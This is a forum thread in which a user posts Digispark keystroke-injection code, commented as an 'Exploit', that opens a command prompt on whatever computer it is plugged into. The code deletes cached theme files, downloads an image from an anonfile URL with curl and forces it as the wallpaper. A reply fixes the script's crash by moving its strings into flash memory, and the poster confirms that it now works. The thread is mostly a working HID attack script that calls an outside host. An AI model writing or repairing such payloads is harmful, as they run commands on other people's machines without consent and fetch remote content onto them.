DigiKeyboard crashes

[Fischchen]

Hey guys, I have a problem: I've written this code for my digispark rev.3:

#include "DigiKeyboard.h"
void setup() {
  // Open PowerShell
  DigiKeyboard.delay(1000);
  DigiKeyboard.sendKeyStroke(0);
  DigiKeyboard.delay(1000);
  DigiKeyboard.sendKeyStroke(KEY_D, MOD_GUI_LEFT);
  DigiKeyboard.delay(500);
  DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
  DigiKeyboard.delay(500);
  DigiKeyboard.print("powershell");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(600);

  // Set Layout to US

  DigiKeyboard.print("Set");
  DigiKeyboard.sendKeyStroke(56);
  DigiKeyboard.print("WinUserLanguageList ");
  DigiKeyboard.sendKeyStroke(56);
  DigiKeyboard.print("Force en");
  DigiKeyboard.sendKeyStroke(56);
  DigiKeyboard.print("US");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(2000);
  DigiKeyboard.print("exit");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);

  // Exploit (Add your code here)

  DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
  DigiKeyboard.delay(600);
  DigiKeyboard.print("cmd");
  DigiKeyboard.delay(600);
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(600);
  DigiKeyboard.println("cd %appdata%/Microsoft/Windows//Themes");
  DigiKeyboard.delay(600);
  DigiKeyboard.sendKeyStroke(0,KEY_ENTER);

  DigiKeyboard.delay(600);
  DigiKeyboard.print("del CachedFiles /q");
  DigiKeyboard.delay(600);
  DigiKeyboard.sendKeyStroke(KEY_ENTER);

  DigiKeyboard.delay(600);
  DigiKeyboard.print("ren TranscodedWallpaper $TranscodedWallpaper");
  DigiKeyboard.delay(600);
  DigiKeyboard.sendKeyStroke(KEY_ENTER);

  DigiKeyboard.delay(600);
  DigiKeyboard.print("curl -o TranscodedWallpaper.jpg ");
  DigiKeyboard.print("https://cdn-25.anonfile.com/51k288ycoc/434f6148-1589287301/Download");
  DigiKeyboard.delay(600);
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(600);

  DigiKeyboard.print("ren TranscodedWallpaper.jpg TranscodedWallpaper");
  DigiKeyboard.delay(600);
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(600);

  DigiKeyboard.println("RUNDLL32.EXE");
  DigiKeyboard.println(" user32.dll,UpdatePerUserSystemParameters");
  DigiKeyboard.delay(600); 
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(600);

  DigiKeyboard.print("exit");
  DigiKeyboard.delay(600);

  DigiKeyboard.sendKeyStroke(KEY_ENTER);

  // Set Layout to DE

  DigiKeyboard.sendKeyStroke(0);
  DigiKeyboard.sendKeyStroke(KEY_D, MOD_GUI_LEFT);
  DigiKeyboard.delay(500);
  DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
  DigiKeyboard.delay(500);
  DigiKeyboard.print("powershell");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(2000);
  DigiKeyboard.print("Set-WinUserLanguageList -Force de-DE");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(2000);
  DigiKeyboard.print("exit");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
}

void loop() {

}```

But the code:
`  DigiKeyboard.println("RUNDLL32.EXE");
  DigiKeyboard.println(" user32.dll,UpdatePerUserSystemParameters");
  DigiKeyboard.delay(600); 
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(600);
  `
Just makes everything stop working.
Does anybody know what I can do?
I already tried: Splitting the text to print into multiple command and putting it into a Variable and then printing it.

Thanks in Advance,
Fischchen

ps: Sorry for my bad English, this isn't my first language

That's a lot of strings you're using... maybe your Digispark is running out of SRAM? Try wrapping all of those DigiKeyboard.print/DigiKeyboard.println strings (every single byte counts!) with F() so that they're stored in Flash memory, instead of in SRAM.

i.e.

DigiKeyboard.println(F(" user32.dll,UpdatePerUserSystemParameters"));
instead of 
DigiKeyboard.println(" user32.dll,UpdatePerUserSystemParameters");

If you use https://github.com/ArminJo/DigistumpArduino, which is a much more up to date board support package, you'll get a PR I did a while back which added the maximum SRAM value to the compile output, and you'll most likely get an error message indicating you've used it all up. ;)

Thanks now it work!!!
